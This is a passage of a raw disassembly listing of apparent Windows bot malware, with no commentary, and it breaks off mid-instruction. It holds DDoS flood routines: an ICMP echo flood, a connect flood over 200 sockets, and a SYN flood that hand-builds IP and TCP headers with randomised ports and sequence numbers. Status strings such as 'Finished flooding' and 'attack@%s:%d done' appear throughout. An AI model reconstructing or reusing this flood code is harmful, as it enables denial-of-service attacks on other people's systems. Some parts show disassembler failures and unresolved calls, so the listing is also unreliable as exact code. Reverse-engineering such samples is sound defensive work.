		mov	large fs:0, esp
		push	ecx
		push	esi
		mov	esi, ecx
		mov	[esp+14h+var_10], esi
		call	sub_401E88
		lea	ecx, [esi+11h]
		mov	[esp+14h+var_4], 0
		call	sub_40142E
		lea	ecx, [esi+26h]
		mov	byte ptr [esp+14h+var_4], 1
		call	sub_40142E
		lea	ecx, [esi+3Bh]
		mov	byte ptr [esp+14h+var_4], 2
		call	sub_40142E
		lea	ecx, [esi+64h]
		mov	byte ptr [esp+14h+var_4], 3
		call	sub_40142E
		lea	ecx, [esi+79h]
		mov	byte ptr [esp+14h+var_4], 4
		call	sub_40142E
		mov	ecx, [esp+14h+var_C]
		mov	dword ptr [esi], offset	off_43F0EC
		mov	eax, esi
		pop	esi
		mov	large fs:0, ecx
		add	esp, 10h
		retn
sub_4277B0	endp

; ---------------------------------------------------------------------------
		db 2 dup(90h)
		db 20h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_427850	proc near		; CODE XREF: sub_4014CEj

var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_4		= dword	ptr -4

		push	0FFFFFFFFh
		push	offset SEH_427850
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		push	ecx
		push	esi
		mov	esi, ecx
		mov	[esp+14h+var_10], esi
		mov	dword ptr [esi], offset	off_43F0EC
		lea	ecx, [esi+79h]
		mov	[esp+14h+var_4], 4
		call	sub_401226
		lea	ecx, [esi+64h]
		mov	byte ptr [esp+14h+var_4], 3
		call	sub_401226
		lea	ecx, [esi+3Bh]
		mov	byte ptr [esp+14h+var_4], 2
		call	sub_401226
		lea	ecx, [esi+26h]
		mov	byte ptr [esp+14h+var_4], 1
		call	sub_401226
		lea	ecx, [esi+11h]
		mov	byte ptr [esp+14h+var_4], 0
		call	sub_401226
		mov	ecx, esi
		mov	[esp+14h+var_4], 0FFFFFFFFh
		call	sub_40204F
		mov	ecx, [esp+14h+var_C]
		pop	esi
		mov	large fs:0, ecx
		add	esp, 10h
		retn
sub_427850	endp

; ---------------------------------------------------------------------------
		db 0Ah dup(90h)
		db 30h dup(0CCh)
; ---------------------------------------------------------------------------


loc_427910:				; CODE XREF: ___:loc_4016DBj
					; ___:0040219Ej
		push	esi
		mov	esi, ecx
		call	sub_4014CE
		test	byte ptr [esp+8], 1
		jz	short loc_427928
		push	esi
		call	sub_437AD2
; ---------------------------------------------------------------------------
		add	esp, 4


loc_427928:				; CODE XREF: ___:0042791Dj
		mov	eax, esi
		pop	esi
		retn	4
; ---------------------------------------------------------------------------
		db 2 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_427940	proc near		; CODE XREF: sub_4011FEj ___:0040209Fj

arg_0		= byte ptr  4

		push	esi
		mov	esi, ecx
		call	sub_4020AE
		test	[esp+4+arg_0], 1
		jz	short loc_427958
		push	esi
		call	sub_437AD2
; ---------------------------------------------------------------------------
		add	esp, 4


loc_427958:				; CODE XREF: sub_427940+Dj
		mov	eax, esi
		pop	esi
		retn	4
sub_427940	endp

; ---------------------------------------------------------------------------
		db 2 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_427970	proc near		; CODE XREF: sub_4020AEj
		jmp	sub_4014CE
sub_427970	endp

; ---------------------------------------------------------------------------
		db 0Bh dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_427990	proc near		; CODE XREF: sub_401A50j

var_24		= byte ptr -24h
var_C		= dword	ptr -0Ch
var_4		= dword	ptr -4

		push	0FFFFFFFFh
		push	offset SEH_427990
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		sub	esp, 18h
		push	ebx
		push	ebp
		push	esi
		mov	esi, ecx
		push	edi
		mov	eax, [esi+54h]
		mov	ecx, [esi+60h]
		mov	edx, [esi+5Ch]
		lea	edi, [esi+3Bh]
		push	eax
		push	ecx
		push	edx
		mov	ecx, edi
		lea	ebx, [esi+11h]
		lea	ebp, [esi+26h]
		call	sub_4017EE
		push	eax
		mov	ecx, ebx
		call	sub_4017EE
		push	eax
		push	offset aSSUtimesUbytes ; "%s: %s (%utimes/%ubytes/%dms)"
		mov	ecx, ebp
		call	sub_4014DD
		mov	cl, [esi+8Fh]
		push	eax
		mov	al, [esi+90h]
		push	eax
		push	ecx
		push	offset byte_4D8075
		call	sub_401857
		add	esp, 28h
		lea	ecx, [esp+34h+var_24]
		call	sub_40142E
		mov	edx, [esi+54h]
		mov	eax, [esi+60h]
		mov	ecx, [esi+5Ch]
		push	edx
		push	eax
		push	ecx
		mov	ecx, edi
		mov	[esp+40h+var_4], 0
		call	sub_4014DD
		push	eax
		call	sub_40183E
		add	esp, 10h
		test	eax, eax
		jz	short loc_427A54
		mov	edx, [esi+5Ch]
		mov	ecx, edi
		push	edx
		call	sub_4017EE
		push	eax
		mov	ecx, ebx
		call	sub_4017EE
		push	eax
		lea	eax, [esp+40h+var_24]
		push	offset aSFinishedFlood ; "[%s] Finished	flooding %s %d Times"
		push	eax
		call	sub_40102D
		add	esp, 14h
		jmp	short loc_427A6E
; ---------------------------------------------------------------------------


loc_427A54:				; CODE XREF: sub_427990+9Aj
		mov	ecx, ebx
		call	sub_4017EE
		push	eax
		lea	ecx, [esp+38h+var_24]
		push	offset aSCannotSendPin ; "[%s] Cannot send pings - Doesn't have D"...
		push	ecx
		call	sub_40102D
		add	esp, 0Ch


loc_427A6E:				; CODE XREF: sub_427990+C2j
		lea	ecx, [esp+34h+var_24]
		call	sub_4017EE
		push	eax
		mov	ecx, ebp
		call	sub_4014DD
		mov	dl, [esi+90h]
		push	eax
		mov	al, [esi+8Fh]
		push	edx
		push	eax
		push	offset byte_4D8075
		call	sub_401857
		add	esp, 14h
		lea	ecx, [esp+34h+var_24]
		mov	[esp+34h+var_4], 0FFFFFFFFh
		call	sub_401226
		mov	ecx, [esp+34h+var_C]
		pop	edi
		pop	esi
		pop	ebp
		pop	ebx
		mov	large fs:0, ecx
		add	esp, 24h
		retn
sub_427990	endp

; ---------------------------------------------------------------------------
		db 90h
		db 50h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_427B10	proc near		; CODE XREF: sub_401E9Cj

var_1A		= byte ptr -1Ah
var_18		= byte ptr -18h
arg_0		= byte ptr  4
arg_FFE0	= dword	ptr  0FFE4h
arg_FFE4	= dword	ptr  0FFE8h
arg_FFE8	= dword	ptr  0FFECh
arg_FFEC	= dword	ptr  0FFF0h

		mov	eax, 0FFFCh
		call	sub_437B30
		push	esi
		push	edi
		push	offset aIcmp_dll ; "ICMP.DLL"
		nop
		call	near ptr 27F088Ah
		mov	esi, eax
		test	esi, esi
		jz	short loc_427B7A
		mov	edi, dword_511918
		push	offset aIcmpcreatefile ; "IcmpCreateFile"
		push	esi
		call	edi
		push	offset aIcmpclosehandl ; "IcmpCloseHandle"
		push	esi
		mov	dword_51011C, eax
		call	edi
		push	offset aIcmpsendecho ; "IcmpSendEcho"
		push	esi
		mov	dword_510120, eax
		call	edi
		mov	ecx, dword_51011C
		mov	dword_510118, eax
		test	ecx, ecx
		jz	short loc_427B7A
		mov	edx, dword_510120
		test	edx, edx
		jz	short loc_427B7A
		test	eax, eax
		jz	short loc_427B7A
		mov	al, [esp+0Bh]
		test	al, al
		jz	short loc_427B85


loc_427B7A:				; CODE XREF: sub_427B10+1Bj
					; sub_427B10+52j ...
		pop	edi
		xor	eax, eax
		pop	esi
		add	esp, 0FFFCh
		retn
; ---------------------------------------------------------------------------


loc_427B85:				; CODE XREF: sub_427B10+68j
		mov	edx, [esp+24h+arg_FFE8]
		mov	eax, 0FFDCh
		cmp	edx, eax
		jle	short loc_427B9C
		mov	[esp+24h+arg_FFE8], eax


loc_427B9C:				; CODE XREF: sub_427B10+83j
		push	ebx
		push	ebp
		mov	ebp, [esp+2Ch+arg_FFEC]
		cmp	ebp, 1
		jge	short loc_427BAF
		mov	ebp, 1


loc_427BAF:				; CODE XREF: sub_427B10+98j
		call	ecx	; IcmpCreateFile
		mov	ebx, [esp+2Ch+arg_FFE4]
		xor	esi, esi
		test	ebx, ebx
		mov	edi, eax
		jle	short loc_427BF4


loc_427BC0:				; CODE XREF: sub_427B10+E2j
		mov	al, byte_4D84B9
		test	al, al
		jz	short loc_427BF4
		mov	ecx, [esp+2Ch+arg_FFE8]
		push	ebp
		lea	eax, [esp+30h+var_18]
		push	1Ch
		push	eax
		mov	eax, [esp+38h+arg_FFE0]
		push	0
		lea	edx, [esp+3Ch+arg_0]
		push	ecx
		push	edx
		push	eax
		push	edi
		call	dword_510118	; IcmpSendEcho
		inc	esi
		cmp	esi, ebx
		jl	short loc_427BC0


loc_427BF4:				; CODE XREF: sub_427B10+AEj
					; sub_427B10+B7j
		push	edi
		call	dword_510120	; IcmpCloseHandle
		pop	ebp
		pop	ebx
		pop	edi
		mov	eax, 1
		pop	esi
		add	esp, 0FFFCh
		retn
sub_427B10	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
		db 5 dup(90h)
		db 40h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_427C50	proc near		; CODE XREF: sub_40183Ej

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch
arg_C		= dword	ptr  10h

		mov	eax, [esp+arg_0]
		push	eax
		call	sub_40188E
		mov	ecx, [esp+4+arg_C]
		mov	edx, [esp+4+arg_8]
		push	ecx
		mov	ecx, [esp+8+arg_4]
		push	edx
		push	ecx
		push	eax
		call	sub_401E9C
		add	esp, 14h
		retn
sub_427C50	endp

; ---------------------------------------------------------------------------
		db 0Dh dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_427C90	proc near		; CODE XREF: sub_401BDBj

var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_4		= dword	ptr -4

		push	0FFFFFFFFh
		push	offset SEH_427C90
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		push	ecx
		push	esi
		mov	esi, ecx
		mov	[esp+14h+var_10], esi
		call	sub_401F9B
		push	offset aForsyn	; "forsyn"
		lea	ecx, [esi+11h]
		mov	[esp+18h+var_4], 0
		mov	dword ptr [esi], offset	nullsub_10
		call	sub_4015E1
		mov	ecx, [esp+14h+var_C]
		mov	eax, esi
		pop	esi
		mov	large fs:0, ecx
		add	esp, 10h
		retn
sub_427C90	endp

; ---------------------------------------------------------------------------
		db 90h
		db 20h dup(0CCh)
; ---------------------------------------------------------------------------


loc_427D00:				; CODE XREF: ___:00401A28j
					; ___:00401AC3j
		push	esi
		mov	esi, ecx
		call	sub_401807
		test	byte ptr [esp+8], 1
		jz	short loc_427D18
		push	esi
		call	sub_437AD2
; ---------------------------------------------------------------------------
		add	esp, 4


loc_427D18:				; CODE XREF: ___:00427D0Dj
		mov	eax, esi
		pop	esi
		retn	4
; ---------------------------------------------------------------------------
		db 2 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_427D30	proc near		; CODE XREF: sub_401807j
		jmp	sub_4014CE
sub_427D30	endp

; ---------------------------------------------------------------------------
		db 0Bh dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_427D50	proc near		; CODE XREF: sub_401366j

var_28		= dword	ptr -28h
var_24		= byte ptr -24h
var_1C		= dword	ptr -1Ch
var_C		= dword	ptr -0Ch
var_4		= dword	ptr -4

		push	0FFFFFFFFh
		push	offset SEH_427D50
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		sub	esp, 1Ch
		push	ebx
		mov	ebx, ecx
		xor	eax, eax
		mov	ecx, offset byte_4E7D8F
		mov	[esp+2Ch+var_28], eax


loc_427D76:				; CODE XREF: sub_427D50+35j
		cmp	dword ptr [ecx], 0
		jz	short loc_427D87
		add	ecx, 78h
		inc	eax
		cmp	ecx, offset byte_4E86EF
		jl	short loc_427D76


loc_427D87:				; CODE XREF: sub_427D50+29j
		cmp	eax, 13h
		mov	[esp+2Ch+var_28], eax
		jg	loc_427F39
		lea	eax, [eax+eax*2]
		push	ebp
		push	esi
		push	edi
		lea	eax, [eax+eax*4]
		lea	ecx, [ebx+3Bh]
		lea	ebp, ds:4E7D1Bh[eax*8]
		call	sub_4017EE
		mov	edi, eax
		or	ecx, 0FFFFFFFFh
		xor	eax, eax
		repne scasb
		not	ecx
		sub	edi, ecx
		mov	eax, ecx
		mov	esi, edi
		mov	edi, ebp
		shr	ecx, 2
		rep movsd
		mov	ecx, eax
		and	ecx, 3
		rep movsb
		mov	cx, [ebx+58h]
		push	ecx
		nop
		call	near ptr 71AB2B66h
		and	eax, 0FFFFh
		mov	[ebp+64h], eax
		mov	eax, [ebx+54h]
		cmp	eax, 5
		mov	[ebp+68h], eax
		jge	short loc_427DF0
		mov	dword ptr [ebp+68h], 5


loc_427DF0:				; CODE XREF: sub_427D50+97j
		mov	edx, [ebx+50h]
		mov	ecx, 80h
		xor	eax, eax
		mov	edi, offset dword_510128
		mov	[ebp+6Ch], edx
		lea	esi, [ebx+11h]
		rep stosd
		mov	eax, [ebx+50h]
		mov	ecx, [ebx+58h]
		push	eax
		push	ecx
		lea	ecx, [ebx+3Bh]
		lea	edi, [ebx+26h]
		call	sub_4017EE
		push	eax
		mov	ecx, esi
		call	sub_4017EE
		push	eax
		push	offset aSSUDseconds ; "%s: %s:%u (%dseconds)"
		mov	ecx, edi
		call	sub_4014DD
		mov	dl, [ebx+90h]
		push	eax
		mov	al, [ebx+8Fh]
		push	edx
		push	eax
		push	offset byte_4D8075
		call	sub_401857
		mov	ecx, [esp+50h+var_1C]
		add	esp, 24h
		push	offset dword_510328
		push	0
		push	ecx
		push	offset sub_4012C1
		push	0
		push	0
		nop
		call	near ptr 27A0000h
		test	eax, eax
		mov	dword_51032C, eax
		jz	short loc_427E8B
		push	offset dword_448F34
		push	5
		push	eax
		push	0
		push	offset dword_510128
		call	sub_4013F2
		add	esp, 14h
		mov	[ebp+70h], eax
		jmp	short loc_427EBB
; ---------------------------------------------------------------------------


loc_427E8B:				; CODE XREF: sub_427D50+11Dj
		mov	ecx, esi
		call	sub_4017EE
		push	eax
		push	offset aSErrorCreating ; "%s: error creating threads"
		mov	ecx, edi
		call	sub_4014DD
		mov	dl, [ebx+90h]
		push	eax
		mov	al, [ebx+8Fh]
		push	edx
		push	eax
		push	offset byte_4D8075
		call	sub_401857
		add	esp, 18h


loc_427EBB:				; CODE XREF: sub_427D50+139j
		lea	ecx, [esp+38h+var_24]
		call	sub_40142E
		mov	ecx, [ebx+58h]
		mov	[esp+38h+var_4], 0
		push	ecx
		lea	ecx, [ebx+3Bh]
		call	sub_4017EE
		push	eax
		mov	ecx, esi
		call	sub_4017EE
		push	eax
		lea	edx, [esp+44h+var_24]
		push	offset aSAttack@SDDone ; "%s: attack@%s:%d done."
		push	edx
		call	sub_40102D
		add	esp, 14h
		lea	ecx, [esp+38h+var_24]
		call	sub_4017EE
		push	eax
		push	offset aS	; "%s"
		mov	ecx, edi
		call	sub_4014DD
		mov	cl, [ebx+8Fh]
		push	eax
		mov	al, [ebx+90h]
		push	eax
		push	ecx
		push	offset byte_4D8075
		call	sub_401857
		add	esp, 18h
		lea	ecx, [esp+38h+var_24]
		mov	[esp+38h+var_4], 0FFFFFFFFh
		call	sub_401226
		pop	edi
		pop	esi
		pop	ebp


loc_427F39:				; CODE XREF: sub_427D50+3Ej
		mov	ecx, [esp+2Ch+var_C]
		pop	ebx
		mov	large fs:0, ecx
		add	esp, 28h
		retn
sub_427D50	endp

; ---------------------------------------------------------------------------
		db 7 dup(90h)
		db 80h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_427FD0	proc near		; CODE XREF: sub_4012C1j

var_338		= dword	ptr -338h
var_334		= dword	ptr -334h
var_330		= dword	ptr -330h
var_32C		= dword	ptr -32Ch
var_328		= dword	ptr -328h
var_324		= dword	ptr -324h
var_320		= byte ptr -320h
arg_0		= dword	ptr  4

		sub	esp, 338h
		mov	eax, [esp+338h+arg_0]
		push	ebp
		push	esi
		mov	esi, 1
		lea	eax, [eax+eax*2]
		lea	eax, [eax+eax*4]
		lea	ebp, ds:4E7D1Bh[eax*8]
		xor	eax, eax
		mov	[esp+340h+var_334], eax
		mov	word ptr [esp+340h+var_334], 2
		mov	[ebp+74h], esi
		mov	cx, [ebp+64h]
		mov	[esp+340h+var_330], eax
		push	ecx
		mov	[esp+344h+var_32C], eax
		mov	[esp+344h+var_328], eax
		nop
		call	near ptr 71AB2B66h
		push	ebp
		mov	[esp+344h+var_324], esi
		mov	word ptr [esp+344h+var_334+2], ax
		nop
		call	near ptr 71AB2BF4h
		cmp	eax, 0FFFFFFFFh
		jnz	short loc_428066
		push	ebp
		nop
		call	near ptr 71AB4FD4h
		xor	edx, edx
		cmp	eax, edx
		jnz	short loc_42805F
		mov	[ebp+74h], edx
		mov	ecx, [ebp+70h]
		pop	esi
		pop	ebp
		lea	eax, [ecx+ecx*4]
		shl	eax, 4
		sub	eax, ecx
		lea	eax, [eax+eax*4]
		mov	dword_4D8735[eax*2], edx
		xor	eax, eax
		add	esp, 338h
		retn	4
; ---------------------------------------------------------------------------


loc_42805F:				; CODE XREF: sub_427FD0+68j
		mov	ecx, [eax+0Ch]
		mov	edx, [ecx]
		mov	eax, [edx]


loc_428066:				; CODE XREF: sub_427FD0+5Bj
		mov	[esp+340h+var_330], eax
		mov	eax, [ebp+6Ch]
		push	ebx
		push	edi
		test	eax, eax
		mov	[esp+348h+var_338], 0
		jle	loc_428116
		mov	ebx, dword_511C3C


loc_428085:				; CODE XREF: sub_427FD0+140j
		mov	al, byte_4D84B9
		test	al, al
		jz	loc_428116
		lea	esi, [esp+348h+var_320]
		mov	edi, 0C8h


loc_42809B:				; CODE XREF: sub_427FD0+EFj
		push	0
		push	1
		push	2
		call	ebx	; socket
		cmp	eax, 0FFFFFFFFh
		mov	[esi], eax
		jz	short loc_4280BB
		lea	ecx, [esp+348h+var_324]
		push	ecx
		push	8004667Eh
		push	eax
		nop
		call	near ptr 71AB4519h


loc_4280BB:				; CODE XREF: sub_427FD0+D8j
		add	esi, 4
		dec	edi
		jnz	short loc_42809B
		lea	esi, [esp+348h+var_320]
		mov	edi, 0C8h


loc_4280CA:				; CODE XREF: sub_427FD0+10Ej
		mov	eax, [esi]
		lea	edx, [esp+348h+var_334]
		push	10h
		push	edx
		push	eax
		nop
		call	near ptr 71AB406Ah
		add	esi, 4
		dec	edi
		jnz	short loc_4280CA
		mov	ecx, [ebp+68h]
		push	ecx
		nop
		call	near ptr 2850369h
		lea	esi, [esp+348h+var_320]
		mov	edi, 0C8h


loc_4280F3:				; CODE XREF: sub_427FD0+130j
		mov	edx, [esi]
		push	edx
		call	near ptr 71AB9639h
		nop
		add	esi, 4
		dec	edi
		jnz	short loc_4280F3
		mov	eax, [esp+348h+var_338]
		mov	ecx, [ebp+6Ch]
		inc	eax
		cmp	eax, ecx
		mov	[esp+348h+var_338], eax
		jl	loc_428085


loc_428116:				; CODE XREF: sub_427FD0+A9j
					; sub_427FD0+BCj
		xor	edx, edx
		pop	edi
		mov	[ebp+74h], edx
		mov	ecx, [ebp+70h]
		pop	ebx
		pop	esi
		lea	eax, [ecx+ecx*4]
		pop	ebp
		shl	eax, 4
		sub	eax, ecx
		lea	eax, [eax+eax*4]
		mov	dword_4D8735[eax*2], edx
		xor	eax, eax
		add	esp, 338h
		retn	4
sub_427FD0	endp

; ---------------------------------------------------------------------------
		db 90h
		db 60h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_4281A0	proc near		; CODE XREF: sub_401DF2j

var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_4		= dword	ptr -4

		push	0FFFFFFFFh
		push	offset SEH_4281A0
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		push	ecx
		push	esi
		mov	esi, ecx
		mov	[esp+14h+var_10], esi
		call	sub_401F9B
		push	offset aSyn	; "syn"
		lea	ecx, [esi+11h]
		mov	[esp+18h+var_4], 0
		mov	dword ptr [esi], offset	off_43F10C
		call	sub_4015E1
		mov	ecx, [esp+14h+var_C]
		mov	eax, esi
		pop	esi
		mov	large fs:0, ecx
		add	esp, 10h
		retn
sub_4281A0	endp

; ---------------------------------------------------------------------------
		db 90h
		db 20h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_428210	proc near		; CODE XREF: ___:004016E5j sub_40182Aj

arg_0		= byte ptr  4

		push	esi
		mov	esi, ecx
		call	sub_4010FF
		test	[esp+4+arg_0], 1
		jz	short loc_428228
		push	esi
		call	sub_437AD2
; ---------------------------------------------------------------------------
		add	esp, 4


loc_428228:				; CODE XREF: sub_428210+Dj
		mov	eax, esi
		pop	esi
		retn	4
sub_428210	endp

; ---------------------------------------------------------------------------
		db 2 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_428240	proc near		; CODE XREF: sub_4010FFj
		jmp	sub_4014CE
sub_428240	endp

; ---------------------------------------------------------------------------
		db 0Bh dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


sub_428260	proc near		; CODE XREF: sub_401EB0j

var_24		= byte ptr -24h
var_4		= dword	ptr -4

		push	0FFFFFFFFh
		push	offset SEH_428260
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		sub	esp, 18h
		push	ebx
		push	ebp
		push	esi
		mov	esi, ecx
		push	edi
		mov	eax, [esi+54h]
		mov	ecx, [esi+50h]
		mov	edx, [esi+58h]
		lea	edi, [esi+3Bh]
		push	eax
		push	ecx
		push	edx
		mov	ecx, edi
		lea	ebx, [esi+11h]
		lea	ebp, [esi+26h]
		call	sub_4017EE
		push	eax
		mov	ecx, ebx
		call	sub_4017EE
		push	eax
		push	offset aSSUUsecDms ; "%s: %s:%u	(%usec/%dms)"
		mov	ecx, ebp
		call	sub_4014DD
		mov	cl, [esi+8Fh]
		push	eax
		mov	al, [esi+90h]
		push	eax
		push	ecx
		push	offset byte_4D8075
		call	sub_401857
		add	esp, 28h
		lea	ecx, [esp+34h+var_24]
		call	sub_40142E
		mov	edx, [esi+54h]
		mov	eax, [esi+50h]
		mov	ecx, [esi+58h]
		push	edx
		push	eax
		push	ecx
		mov	ecx, edi
		mov	[esp+40h+var_4], 0
		call	sub_4014DD
		push	eax
		call	sub_401DCF
sub_428260	endp

; ---------------------------------------------------------------------------
		cdq
		and	edx, 3FFh
		add	esp, 10h
		add	eax, edx
		mov	ecx, edi
		sar	eax, 0Ah
		cdq
		idiv	dword ptr [esi+50h]
		mov	edx, [esi+58h]
		push	eax
		push	edx
		call	sub_4017EE
		push	eax
		mov	ecx, ebx
		call	sub_4017EE
		push	eax
		lea	eax, [esp+20h]
		push	offset aSSDIkbSec ; "%s: %s:%d (%ikb/sec)"
		push	eax
		call	sub_40102D
		add	esp, 18h
		lea	ecx, [esp+10h]
		call	sub_4017EE
		push	eax
		mov	ecx, ebp
		call	sub_4014DD
		mov	cl, [esi+90h]
		mov	dl, [esi+8Fh]
		push	eax
		push	ecx
		push	edx
		push	offset byte_4D8075
		call	sub_401857
		add	esp, 14h
		mov	dword ptr [esp+30h], 0FFFFFFFFh
		lea	ecx, [esp+10h]
		call	sub_401226
		mov	ecx, [esp+28h]
		pop	edi
		pop	esi
		pop	ebp
		pop	ebx
		mov	large fs:0, ecx
		add	esp, 24h
		retn
; ---------------------------------------------------------------------------
		db 50h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


sub_4283D0	proc near		; CODE XREF: sub_401BC7j

var_95		= byte ptr -95h
var_8C		= dword	ptr -8Ch
var_3C		= byte ptr -3Ch
var_3B		= byte ptr -3Bh

		sub	esp, 98h
		push	ebx
		push	ebp
		push	esi
		push	edi
		mov	ecx, 0Eh
		xor	eax, eax
		lea	edi, [esp+0A8h+var_3B]
		mov	[esp+0A8h+var_3C], 0
		rep stosd
		stosw
		xor	esi, esi
		push	0FFh
		push	esi
		mov	[esp+0B0h+var_8C], esi
		stosb
		mov	[esp+0B0h+var_95], 0
		call	sub_4021C6
sub_4283D0	endp

; ---------------------------------------------------------------------------
		push	0FFh
		push	esi
		mov	[esp+24h], al
		call	sub_4021C6
; ---------------------------------------------------------------------------
		push	0FFh
		push	esi
		mov	[esp+2Dh], al
		call	sub_4021C6
; ---------------------------------------------------------------------------
		push	0FFh
		push	esi
		mov	[esp+36h], al
		call	sub_4021C6
; ---------------------------------------------------------------------------
		add	esp, 20h
		cmp	[esp+0B4h], si
		mov	[esp+17h], al
		jnz	short loc_428461
		push	2710h
		push	3E8h
		mov	byte ptr [esp+1Bh], 1
		call	sub_4021C6
; ---------------------------------------------------------------------------
		add	esp, 8
		mov	[esp+0B4h], eax


loc_428461:				; CODE XREF: ___:00428441j
		push	1
		push	esi
		push	esi
		push	0FFh
		push	3
		push	2
		mov	dword ptr [esp+64h], 1
		nop
		call	near ptr 71AB8769h
		mov	edi, eax
		cmp	edi, 0FFFFFFFFh
		mov	[esp+18h], edi
		jnz	short loc_428494
		pop	edi
		pop	esi
		pop	ebp
		xor	eax, eax
		pop	ebx
		add	esp, 98h
		retn
; ---------------------------------------------------------------------------


loc_428494:				; CODE XREF: ___:00428485j
		lea	eax, [esp+4Ch]
		push	4
		push	eax
		push	2
		push	esi
		push	edi
		nop
		call	near ptr 71AB3EA1h
		cmp	eax, 0FFFFFFFFh
		jnz	short loc_4284B7


loc_4284AA:				; CODE XREF: ___:0042865Fj
		pop	edi
		pop	esi
		pop	ebp
		xor	eax, eax
		pop	ebx
		add	esp, 98h
		retn
; ---------------------------------------------------------------------------


loc_4284B7:				; CODE XREF: ___:004284A8j
		mov	ecx, [esp+0B4h]
		mov	ebp, dword_511C38
		push	ecx
		mov	word ptr [esp+60h], 2
		call	ebp	; ntohs
		mov	ebx, [esp+0ACh]
		push	28h
		mov	[esp+62h], ax
		mov	[esp+64h], ebx
		mov	byte ptr [esp+24h], 45h
		call	ebp	; ntohs
		push	4000h
		mov	[esp+26h], ax
		mov	word ptr [esp+28h], 1
		mov	[esp+2Ah], si
		mov	byte ptr [esp+2Ch], 80h
		mov	byte ptr [esp+2Dh], 6
		mov	[esp+2Eh], si
		mov	[esp+34h], ebx
		mov	byte ptr [esp+44h], 50h
		mov	byte ptr [esp+45h], 2
		call	ebp	; ntohs
		mov	[esp+42h], ax
		mov	[esp+46h], si
		mov	[esp+3Ch], esi
		nop
		call	near ptr 27F0C4Bh
		mov	[esp+48h], eax
		mov	al, byte_4D84B9
		test	al, al
		jz	loc_42870B
		mov	ebx, dword_511AC8
		mov	byte ptr [esp+58h], 0
		mov	byte ptr [esp+59h], 6
		jmp	short loc_428555
; ---------------------------------------------------------------------------
		xor	esi, esi


loc_428555:				; CODE XREF: ___:00428551j
		mov	edi, [esp+1Ch]
		mov	edx, [esp+0B4h]
		inc	edi
		push	edx
		mov	[esp+20h], edi
		mov	[esp+48h], si
		call	ebp	; ntohs
		push	14h
		mov	[esp+3Ah], ax
		call	ebp	; ntohs
		mov	[esp+5Ah], ax
		mov	eax, [esp+14h]
		push	eax
		nop
		call	near ptr 71AB2BC0h
		mov	esi, eax
		mov	[esp+2Ch], esi
		call	ebx	; rand
		cdq
		mov	ecx, 3E9h
		idiv	ecx
		add	edx, 3E8h
		push	edx
		call	ebp	; ntohs
		mov	[esp+34h], ax
		call	ebx	; rand
		mov	edi, eax
		shl	edi, 10h
		call	ebx	; rand
		or	edi, eax
		push	edi
		call	ebp	; ntohs
		mov	edx, [esp+0ACh]
		and	eax, 0FFFFh
		mov	[esp+38h], eax
		mov	eax, [esp+58h]
		mov	[esp+6Ch], esi
		mov	ecx, 5
		lea	esi, [esp+34h]
		lea	edi, [esp+78h]
		mov	[esp+70h], edx
		mov	[esp+74h], eax
		rep movsd
		lea	ecx, [esp+6Ch]
		push	20h
		push	ecx
		call	sub_401A37
		mov	ecx, 5
		lea	esi, [esp+28h]
		lea	edi, [esp+74h]
		lea	edx, [esp+74h]
		rep movsd
		mov	ecx, 5
		lea	esi, [esp+3Ch]
		lea	edi, [esp+88h]
		mov	[esp+4Ch], ax
		push	28h
		push	edx
		rep movsd
		mov	dword ptr [esp+0A4h], 0
		call	sub_401A37
		mov	edx, [esp+28h]
		add	esp, 10h
		mov	[esp+2Ah], ax
		mov	ecx, 5
		lea	esi, [esp+20h]
		lea	edi, [esp+6Ch]
		lea	eax, [esp+5Ch]
		push	10h
		rep movsd
		push	eax
		push	0
		lea	ecx, [esp+78h]
		push	28h
		push	ecx
		push	edx
		nop
		call	near ptr 71AB2C69h
		cmp	eax, 0FFFFFFFFh
		jz	loc_4284AA
		call	near ptr 27F0C4Bh
		nop
		mov	edx, [esp+48h]
		mov	ecx, eax
		sub	ecx, edx
		mov	eax, 10624DD3h
		mul	ecx
		mov	eax, [esp+0B8h]
		shr	edx, 6
		cmp	edx, eax
		ja	short loc_428707
		mov	al, [esp+13h]
		test	al, al
		jz	short loc_4286A9
		push	2710h
		push	3E8h
		call	sub_4021C6
; ---------------------------------------------------------------------------
		add	esp, 8
		mov	[esp+0B4h], eax


loc_4286A9:				; CODE XREF: ___:0042868Ej
		push	0FFh
		push	0
		call	sub_4021C6
; ---------------------------------------------------------------------------
		push	0FFh
		push	0
		mov	[esp+24h], al
		call	sub_4021C6
; ---------------------------------------------------------------------------
		push	0FFh
		push	0
		mov	[esp+2Dh], al
		call	sub_4021C6
; ---------------------------------------------------------------------------
		push	0FFh
		push	0
		mov	[esp+36h], al
		call	sub_4021C6
; ---------------------------------------------------------------------------
		db 8Bh,	94h, 24h
